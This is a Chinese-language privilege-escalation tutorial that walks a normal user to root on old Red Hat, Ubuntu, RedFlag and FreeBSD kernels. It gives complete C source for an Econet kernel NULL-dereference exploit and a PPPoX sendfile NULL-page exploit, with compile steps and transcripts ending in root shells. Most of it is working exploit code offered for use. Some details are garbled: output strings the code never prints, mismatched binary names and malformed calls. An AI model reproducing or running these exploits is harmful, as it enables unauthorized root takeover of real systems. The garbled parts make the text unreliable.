

# Linux-Unix 类提权

## 一、Red Hat Linux (kernel-2.6.18-128.el5)

### 1. 该用户为普通用户

```
[test@localhost ~]$ whoami
test
[test@localhost ~]$ id
uid=501(test) gid=501(test) groups=501(test) context=root:system_r:unconfined_t:SystemLow-SystemHigh
```

### 2. 将二进制可执行文件 redhat\_exp 上传到 Linux 系统中，案例中上传到/tmp 目录中，并且确保用户执行该文件的权限（无执行权限，用 chmod 命令赋予用户有权限执行该文件）。

```
[test@localhost ~]$ ls -l /tmp/redhat_exp
-rwxrw-r-- 1 test test 11600 10-11 14:04 /tmp/redhat_exp
```

### 3. 进入/tmp 目录中，执行 redhat\_exp 文件。

```
[test@localhost ~]$ cd /tmp/
[test@localhost tmp]$ ./redhat_exp
[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xc07bbl60
[+] Resolved sel_read_enforce to 0xc04c765b
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
```

### 4. 执行完毕查看当前用户是否提权成功。

```
sh-3.2# whoami
root
sh-3.2# id
uid=0(root) gid=0(root) groups=501(test) context=root:system_r:unconfined_t:SystemLow-SystemHigh
```

如上所示，成功提权为 root 权限。

### 5. 为了方便显示，切换用户当前的 shell 到 bash shell 环境。

```
sh-3.2# bash
[root@localhost tmp]#
```

## 二、Ubuntu (kernel-2.6.35-22-generic)

### 1. 该用户为普通用户

```
test@yuanzhaozhao:~$ whoami
test
test@yuanzhaozhao:~$ id
uid=1001(test) gid=1001(test) 组=1001(test)
```

### 2. 用 vi 编辑 ubuntu\_exp.c 文件，并将如下代码复制黏贴到该文件中。

```

#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
/* How many bytes should we clear in our
 * function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    struct utsname ver;
    int ret;
    int rep = 0;
    int oldstyle = 0;
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            goto fallback;
        oldstyle = 1;
    }
repeat:
    ret = 0;
    while(ret != EOF) {
        if (!oldstyle)
            ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);

```

```

else {
    ret = fscanf(f, "%p %s\n", (void *)&addr, sname);
    if (ret == 2) {
        char *p;
        if (strstr(sname, "_O/") || strstr(sname, "_S."))
            continue;
        p = strchr(sname, '_');
        if (p > ((char *)sname + 5) && !strcmp(p - 3, "smp", 3))
        {
            p = p - 4;
            while (p > (char *)sname && *(p - 1) == '_')
                p--;
            *p = '\0';
        }
    }
    if (ret == 0) {
        fscanf(f, "%s\n", sname);
        continue;
    }
    if (!strcmp(name, sname)) {
        fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr,
rep ? " (via System.map)" : "");
        fclose(f);
        return addr;
    }
}
fclose(f);
if (rep)
    return 0;
fallback:
uname(&ver);
if (strcmp(ver.release, "2.6", 3))
    oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
    return 0;
rep = 1;
goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;

```

```

_prepare_kernel_cred prepare_kernel_cred;
static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

/* Why do I do this?  Because on x86-64, the address of
 * commit_creds and prepare_kernel_cred are loaded relative
 * to rip, which means I can't just copy the above payload
 * into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{
#ifdef __x86_64__
    asm("mov $getroot, %rax; call %%rax;");
#else
    asm("mov $getroot, %eax; call %%eax;");
#endif
}

/* Triggers a NULL pointer dereference in econet_sendmsg
 * via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
    int ret;
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
    ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
    if(ret < 0) {
        printf("[*] Failed to set Econet address.\n");
        return -1;
    }
    splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
    splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
    /* Shouldn't get here... */
    exit(0);
}

int main(int argc, char * argv[])
{
    unsigned long econet_ops, econet_ioctl, target, landing;
    int fildes[4], pid;
    void * newstack, * payload;
    /* Create file descriptors now so there are two

```

references to them after cloning...otherwise  
the child will never return because it  
deadlocks when trying to unlock various  
mutexes after OOPSing \*/

```
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
    printf("[*] Failed to open file descriptors.\n");
    return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
    printf("[*] Failed to resolve kernel symbols.\n");
    return -1;
}
if(!(newstack = malloc(65536))) {
    printf("[*] Failed to allocate memory.\n");
    return -1;
}
printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;
/* Clear the higher bits */
landing = econet_ioctl << SHIFT >> SHIFT;
payload = mmap((void *) (landing & ~0xfff), 2 * 4096,
               PROT_READ | PROT_WRITE | PROT_EXEC,
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
    printf("[*] Failed to mmap() at target address.\n");
    return -1;
}
memcpy((void *)landing, &trampoline, 1024);
clone((int (*)(void *))trigger,
      (void *)((unsigned long)newstack + 65536),
      CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
      &fildes, NULL, NULL, target);
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);
```

```

        if(getuid()) {
            printf("[*] Exploit failed to get root.\n");
            return -1;
        }
        printf("[*] Got root!\n");
        execl("/bin/sh", "/bin/sh", NULL);
    }
}

```

3.将 **ubuntu\_exp.c** 文件编译成二进制可执行文件 **ubuntu\_exp**，使用如下命令。

```
gcc -o ubuntu_exp ubuntu_exp.c
```

4.执行二进制可执行文件 **ubuntu\_exp**。

```

test@yuanzhaozhao:/tmp$ ./ubuntu_exp
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xe090c2a0
[+] Resolved econet_ops to 0xe090c3a0
[+] Resolved commit_creds to 0xc016c830
[+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!

```

5.执行完毕查看当前用户是否提权成功。

```

# whoami
root
# id
uid=0(root) gid=0(root) 组=0(root)

```

如上所示，成功提权为 root 权限。

6.为了方便显示，切换用户当前的 shell 到 bash shell 环境。

```

# bash
root@yuanzhaozhao:/tmp#

```

## 三、RedFlag (kernel-2.6.27.10-1)

1.该用户为普通用户

```

[test@localhost ~]$ whoami
test
[test@localhost ~]$ id
uid=500(test) gid=500(test) groups=500(test)

```

2.用 vi 分别编辑 **redflag\_run.c**，**redflag\_exploit.c** 文件，如下操作。

第一步：vi redflag\_exploit.c

```
#include <stdio.h>
```

```
#include <sys/socket.h>
```

```

#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>

```

```

static unsigned int uid, gid;

```

```

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)

```

```

void exit_code();
char exit_stack[1024 * 1024];

```

```

static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
    );
    return (void *) curr;
}

```

```

static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),

```

```

        "i" (USER_CS), "r" (exit_code)
    );
}

void kernel_code()
{
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] ==
gid && p[5] == gid && p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *) (p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }

    execl("/bin/sh", "sh", "-i", NULL);
}

int main(void) {
    char template[] = "/tmp/padlina.XXXXXXX";
    int fdin, fdout;
    void *page;

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

```



```

        if ((personality(0xffffffff) != PER_SVR4) {
            if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
                perror("mmap");
                return -1;
            }
        } else {
            if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
{
                perror("mprotect");
                return -1;
            }
        }

        *(char *)0 = '\x90';
        *(char *)1 = '\xe9';
        *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

        if ((fdin = mkstemp(template)) < 0) {
            perror("mkstemp");
            return -1;
        }

        if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
            perror("socket");
            return -1;
        }

        unlink(template);
        ftruncate(fdin, PAGE_SIZE);
        sendfile(fdout, fdin, NULL, PAGE_SIZE);
    }

```

**第二步:** vi redflag\_run.c

```
#include <sys/personality.h>
```

```
#include <stdio.h>
```

```
#include <unistd.h>
```

```
int main(void) {
```

```

    if (personality(PER_SVR4) < 0) {
        perror("personality");
        return -1;
    }

```

```
fprintf(stderr, "padlina z lublina!\n");
```

```
execl("./redflag_exploit", "redflag_exploit", 0);  
}
```

3.分别将 **redflag\_run.c**, **redflag\_exploit.c** 文件编译成二进制可执行文件 **redflag\_run**, **redflag\_exploit** 使用如下命令。

```
gcc -o redflag_run redflag_run.c  
gcc -o redflag_exploit redflag_exploit.c
```

4.执行二进制可执行文件 **redflag\_run**。

```
[test@localhost ~]$ ./redflag_run  
Success, Congratulations!!!
```

5.执行完毕查看当前用户是否提权成功。

```
sh-3.2# whoami  
root  
sh-3.2# id  
uid=0(root) gid=0(root) groups=500(test)
```

如上所示，成功提权为 root 权限。

6.为了方便显示，切换用户当前的 shell 到 **bash shell** 环境。

```
sh-3.2# bash  
[root@localhost ~]#
```

## 四、FreeBSD

1.该用户为普通用户

```
$ whoami  
test  
$ id  
uid=1002(test) gid=1002(test) groups=1002(test)
```

2. 将如下图所示的文件上传到/tmp 目录下，并且确保用户执行该文件的权限（无执行权限，用 **chmod** 命令赋予用户有权限执行该文件）。



3.执行二进制可执行文件 **freebsd\_exp**。

```
./freebsd_env
```

4.执行完毕查看当前用户是否提权成功。

```
# whoami  
root  
# id  
uid=1002(test) gid=1002(test) euid=0(root) groups=1002(test)
```

如上所示，成功提权为 root 权限。

TRPOY